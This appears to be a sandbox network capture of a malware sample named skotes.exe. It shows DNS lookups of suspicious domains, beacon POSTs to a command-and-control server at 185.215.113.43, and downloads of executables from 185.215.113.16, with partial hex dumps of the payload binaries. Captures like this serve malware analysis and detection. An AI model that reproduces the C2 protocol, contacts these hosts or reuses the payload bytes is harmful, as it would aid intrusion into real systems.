Nov 5, 2024 20:52:44.200304985 CET	1.1.1.1	192.168.2.6	0xfbc8	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:44.200304985 CET	1.1.1.1	192.168.2.6	0xfbc8	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:44.674467087 CET	1.1.1.1	192.168.2.6	0xd7ac	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 20:52:44.674467087 CET	1.1.1.1	192.168.2.6	0xd7ac	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:44.826689005 CET	1.1.1.1	192.168.2.6	0x8d54	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 20:52:44.826689005 CET	1.1.1.1	192.168.2.6	0x8d54	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:44.955854893 CET	1.1.1.1	192.168.2.6	0x299d	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 20:52:44.955854893 CET	1.1.1.1	192.168.2.6	0x299d	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:44.978192091 CET	1.1.1.1	192.168.2.6	0x1b2f	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 20:52:48.220067024 CET	1.1.1.1	192.168.2.6	0xa5f6	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 20:52:48.220067024 CET	1.1.1.1	192.168.2.6	0xa5f6	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:49.244597912 CET	1.1.1.1	192.168.2.6	0xa5f6	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 20:52:49.244597912 CET	1.1.1.1	192.168.2.6	0xa5f6	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:50.255656958 CET	1.1.1.1	192.168.2.6	0xa5f6	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 20:52:50.255656958 CET	1.1.1.1	192.168.2.6	0xa5f6	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:52.271182060 CET	1.1.1.1	192.168.2.6	0xa5f6	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 20:52:52.271182060 CET	1.1.1.1	192.168.2.6	0xa5f6	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:55.223689079 CET	1.1.1.1	192.168.2.6	0xb6e0	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:55.264000893 CET	1.1.1.1	192.168.2.6	0x54d3	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:55.289223909 CET	1.1.1.1	192.168.2.6	0xfac6	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:55.326411963 CET	1.1.1.1	192.168.2.6	0xde4e	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:55.395018101 CET	1.1.1.1	192.168.2.6	0x651e	Name error (3)	necklacedmny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:52:56.324779987 CET	1.1.1.1	192.168.2.6	0xa5f6	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 20:52:56.324779987 CET	1.1.1.1	192.168.2.6	0xa5f6	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:53:02.115407944 CET	1.1.1.1	192.168.2.6	0xe5e9	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 20:53:02.115407944 CET	1.1.1.1	192.168.2.6	0xe5e9	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:53:03.146776915 CET	1.1.1.1	192.168.2.6	0x69fc	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 20:53:05.170556068 CET	1.1.1.1	192.168.2.6	0xea7a	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 20:53:05.170556068 CET	1.1.1.1	192.168.2.6	0xea7a	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:53:05.292709112 CET	1.1.1.1	192.168.2.6	0x18f4	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 5, 2024 20:53:05.292721987 CET	1.1.1.1	192.168.2.6	0x1bd4	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:53:05.292721987 CET	1.1.1.1	192.168.2.6	0x1bd4	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:53:05.292963982 CET	1.1.1.1	192.168.2.6	0xea82	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:53:05.292963982 CET	1.1.1.1	192.168.2.6	0xea82	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:53:05.293392897 CET	1.1.1.1	192.168.2.6	0x9a2b	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 5, 2024 20:53:05.314538956 CET	1.1.1.1	192.168.2.6	0xf174	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 5, 2024 20:53:05.314806938 CET	1.1.1.1	192.168.2.6	0xd109	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:53:05.314806938 CET	1.1.1.1	192.168.2.6	0xd109	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:53:06.177278996 CET	1.1.1.1	192.168.2.6	0xea7a	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 20:53:06.177278996 CET	1.1.1.1	192.168.2.6	0xea7a	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:53:07.193840027 CET	1.1.1.1	192.168.2.6	0xea7a	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 20:53:07.193840027 CET	1.1.1.1	192.168.2.6	0xea7a	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:53:09.200335979 CET	1.1.1.1	192.168.2.6	0xea7a	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 20:53:09.200335979 CET	1.1.1.1	192.168.2.6	0xea7a	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:53:13.240673065 CET	1.1.1.1	192.168.2.6	0xea7a	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 5, 2024 20:53:13.240673065 CET	1.1.1.1	192.168.2.6	0xea7a	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 5, 2024 20:53:17.364746094 CET	1.1.1.1	192.168.2.6	0x3df6	Name error (3)	necklacedmny.store	none	none	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	50009	185.215.113.43	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 20:52:04.136745930 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 5, 2024 20:52:05.028881073 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 05 Nov 2024 19:52:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	50010	185.215.113.43	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 20:52:06.552874088 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 36 32 37 37 35 42 35 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB62775B55C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 5, 2024 20:52:07.474062920 CET	558	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 05 Nov 2024 19:52:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 66 0d 0a 20 3c 63 3e 31 30 30 34 31 39 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 34 31 39 35 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 34 31 39 36 30 33 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 64 30 32 34 36 62 35 63 62 34 66 36 35 32 32 34 32 37 66 61 65 31 64 61 61 38 65 39 65 62 34 66 66 66 37 62 35 63 36 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 34 31 39 37 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 16f <c>1004194001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1004195001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1004196031+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8e9eb4fff7b5c630804042ba5ce902415450#1004197001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	50011	185.215.113.16	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 20:52:07.483280897 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 5, 2024 20:52:08.385762930 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 05 Nov 2024 19:52:08 GMT Content-Type: application/octet-stream Content-Length: 3181568 Last-Modified: Tue, 05 Nov 2024 18:57:23 GMT Connection: keep-alive ETag: "672a6a93-308c00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 90 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 30 00 00 04 00 00 11 1e 31 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELSgJ0@01@Th@ @.rsrc@@.idata @hskfpfnm**@esxidcrg0d0@.taggant00"j0@
Nov 5, 2024 20:52:08.385788918 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 5, 2024 20:52:08.385804892 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 5, 2024 20:52:08.385991096 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 5, 2024 20:52:08.386051893 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 5, 2024 20:52:08.386069059 CET	1236	IN	Data Raw: 4d fc bb 60 76 4d ca 00 32 0f 3e 6a 30 f3 b9 a6 76 ef fa 60 eb c3 da 5c 59 0f 65 7e 76 0f be fb 72 23 3b 68 76 f3 bc f9 b5 86 f2 5c 66 86 76 75 76 0f be e0 f3 7b c1 f9 32 23 c6 85 da 23 ce f5 32 23 0e f9 32 23 b2 f5 32 23 26 f9 32 23 b6 f5 32 23 Data Ascii: M`vM2>j0v`\Ye~vr#;hv\fvuv{2##2#2#2#&2#2#2#2#r#+9=4>`v;<#2#`(v#`n@@xru\ny(u\=\\bvZ`tv`HMQ`v25>j4v`\|tp`~2
Nov 5, 2024 20:52:08.386085987 CET	1236	IN	Data Raw: 4d 03 ed 89 40 4e ce 77 f2 9b be 60 76 86 02 5c 6a 98 fa 5c 1e 86 fa 5c 66 48 be 60 76 0c 32 3c 12 1b 36 81 a3 60 a6 8c eb f3 da 7c 15 70 32 3c 12 2f 36 81 67 ba 88 fa c2 23 ba fb 2a 23 d6 77 80 1b c5 fb da 23 ce f9 58 87 f3 67 ed 6e 8a 9b ed c3 Data Ascii: M@Nw`v\j\\fH`v2<6`\|p2</6g##w#Xgnt@Cf\rxNNR(445m^`t[#+j#!`L)`v@gaE68x~fp@tM`v\`O)bN2\|xw`N*#w`vvO
Nov 5, 2024 20:52:08.386146069 CET	1236	IN	Data Raw: 0e 0e be 60 ed f3 da 70 af c3 da 48 71 0f be 60 4b 29 78 3c 12 3d d1 6f 5d ca 97 7c 76 0f 28 8b ed f3 da 70 af c3 da 48 70 0f be 60 af c3 da 74 76 0f be 60 ed 45 64 b5 aa 5b 71 6f 54 4e 93 63 f3 61 bf f6 1a 91 35 90 bd e4 18 1e d0 74 94 fa a5 86 Data Ascii: `pHq`K)x<=o]\|v(pHp`tv`Ed[qoTNca5tN,}is}IXHTj?6<;5g\|uQ0\|&}?648>2pgzv3<'^4g}GcoKN,}js\|aN=\cx"\g`v<m2#
Nov 5, 2024 20:52:08.386161089 CET	1236	IN	Data Raw: 2a 23 b2 f9 a8 8e a5 61 72 0f be fb 2a 23 ce e3 5d 0f 2c 62 ed 41 34 4c 12 86 2a 5c 26 98 fa 5c 66 86 fa 5c 22 6c 11 5c 26 3e 7e fb 2a 23 b6 6f b4 0f b6 60 76 1c 4a a0 59 03 79 30 d1 c3 be e1 7d 0c be 60 72 f4 dc 89 b6 56 9d 8a ad 6a 9b 80 56 ad Data Ascii: #ar#],bA4L\&\f\"l\&>~#o`vJYy0}`rVjV`]YWo_8v^j`JbvE\x<7"\n&r/=mn1#bx<7"#@huE0\|~fv@bv)LQ.D\`v`vc^4<n`w
Nov 5, 2024 20:52:08.386174917 CET	1236	IN	Data Raw: 12 80 7e 65 0c 5f 34 ec 12 03 2a 46 ed 71 3a 82 73 f3 c7 be 33 03 ee e3 b3 02 33 7c 12 98 0a 5c 6a 0e 8e fc b6 0a 34 04 12 03 3b 68 71 1c 3c 41 73 0f be f5 26 0b 34 b3 b5 78 bb 23 f3 60 b6 fb c2 23 ce ec 0d 86 ca 5c b5 60 bb 51 a4 98 2a 5c 72 44 Data Ascii: ~e_4Fq:s33\|\j4;hq<As&4x#`#\`Q\rDN?PA)b\r&#b#;j\r<tt?PD\|?PP?4P?w"f?PDL?PP?4+P?;~wfXbv5M`vx2#cj?6<<;<##8\,v
Nov 5, 2024 20:52:08.390832901 CET	1236	IN	Data Raw: ed db da 20 73 1b da fb 22 23 c6 77 f2 95 b9 60 76 75 f9 5c 6e 0e cf fd a7 0e be 60 eb db da 20 f1 46 3e 49 4d 41 bc 60 76 86 77 fb 32 23 c2 fb 2a 23 fe 59 b5 82 75 77 e8 a2 bd 60 76 86 ae 5a 7e 02 be 62 76 0f 35 ba 3d 4e 21 62 ed 41 3a e5 6e 0f Data Ascii: s"#w`vu\n` F>IMA`vw2##Yuw`vZ~bv5=N!bA:n)bY8D 5hoaA:s\/x?u/5N6\|T3+-/}e$5a"#Ecw\|hNNN~}11zGOEp\|t>DP/@E

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	50013	185.215.113.43	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 20:52:12.990466118 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 34 31 39 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1004194001&unit=246122658369
Nov 5, 2024 20:52:13.908803940 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 05 Nov 2024 19:52:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	50015	185.215.113.16	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 20:52:13.917836905 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 5, 2024 20:52:14.829463005 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 05 Nov 2024 19:52:14 GMT Content-Type: application/octet-stream Content-Length: 2157568 Last-Modified: Tue, 05 Nov 2024 18:57:36 GMT Connection: keep-alive ETag: "672a6aa0-20ec00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 80 73 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 b0 73 00 00 04 00 00 ef 18 21 00 02 00 40 80 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$b}...u^..uk..u_..{v..fz/.{f....uZ..uh..Rich.PEL8ng,s@s!@P.d. p.v@.rsrc .@.idata .@ *.@olexbnfi@0Y<@abdjuqmyps @.taggant0s" @
Nov 5, 2024 20:52:14.829482079 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 5, 2024 20:52:14.829500914 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 5, 2024 20:52:14.829516888 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 5, 2024 20:52:14.829536915 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 5, 2024 20:52:14.829557896 CET	1236	IN	Data Raw: d2 05 20 bc 46 9e 83 f3 c0 45 65 a3 f9 1b 87 5a 24 69 64 21 be 8b 42 3a 4e ac e7 4f 82 b9 71 92 b9 eb 29 47 40 38 04 09 73 9e 9e 6a d7 54 00 42 39 78 8d e1 f6 93 88 21 78 b0 e9 1c b6 99 71 29 d7 d6 45 75 c3 40 c6 d8 9b 25 a2 a1 fe d5 4e d1 d6 18 Data Ascii: FEeZ$id!B:NOq)G@8sjTB9x!xq)Eu@%NFk:3;BwA@!@,GemHkw3jl1vD1u}l0lR*ASn{yBx6P$w;WWWWWWW W$aZDkG@_x};}
Nov 5, 2024 20:52:14.829575062 CET	848	IN	Data Raw: 38 a6 d7 20 c5 00 51 48 14 81 78 8f 9d a8 f7 9a a2 24 c7 df d4 94 be 47 0d dc 4a 39 e4 66 df 79 6c 54 bc 13 0e cb b1 bc 9a 9d 6e b2 3c 9c ad 46 f9 8d a2 6f 0d d6 ca ef d8 b1 a5 36 c9 50 b4 30 d4 e2 06 41 e6 50 7c c0 06 43 b8 bb 5b 4e 71 b3 af 15 Data Ascii: 8 QHx$GJ9fylTn<Fo6P0AP\|C[Nqvr.i;,qo9\h`IChDfsi A537^tkBeC-Lo`@x"gb~Il?T 2&;-
Nov 5, 2024 20:52:14.829591990 CET	1236	IN	Data Raw: d8 f5 87 37 c5 d0 a3 33 1d 4c ca 7b a6 e8 02 49 60 b1 4a 50 c4 bc b3 9a de 08 e4 71 3c b9 31 49 35 40 cc 48 bf 38 a2 48 64 a1 18 4c fc d8 ce 42 76 58 79 3f 80 18 00 12 29 fb c5 3c fc 70 79 1b 31 d7 e6 50 b0 b0 0e 72 a4 0c a4 4f 1a 36 79 71 88 f7 Data Ascii: 73L{I`JPq<1I5@H8HdLBvXy?)<py1PrO6yq?$\|HWHk<{S@Xs8PO$(H\7L15qhH\|6y'9T7oKw5`HH#q5R"Q-Weh
Nov 5, 2024 20:52:14.829607964 CET	1236	IN	Data Raw: 3f d8 ca 5b f4 a9 70 3f 77 d8 98 9a d8 99 60 48 a3 a5 77 0b 68 aa 73 0f c6 b1 53 41 8a 59 c0 5f a0 98 8c b8 cc 66 85 f4 de a9 63 fb 49 e0 97 48 f0 14 a7 db db bc 78 3c fc d2 78 8b bd 23 7c eb 67 c3 97 ff c5 0c e4 76 26 bb d7 29 c1 20 79 50 4c a1 Data Ascii: ?[p?w`HwhsSAY_fcIHx<x#\|gv&) yPLPhw:`yql1WReg]#-+wx?D(M7ws^8h0Pth:6ynY8_otQG<>+
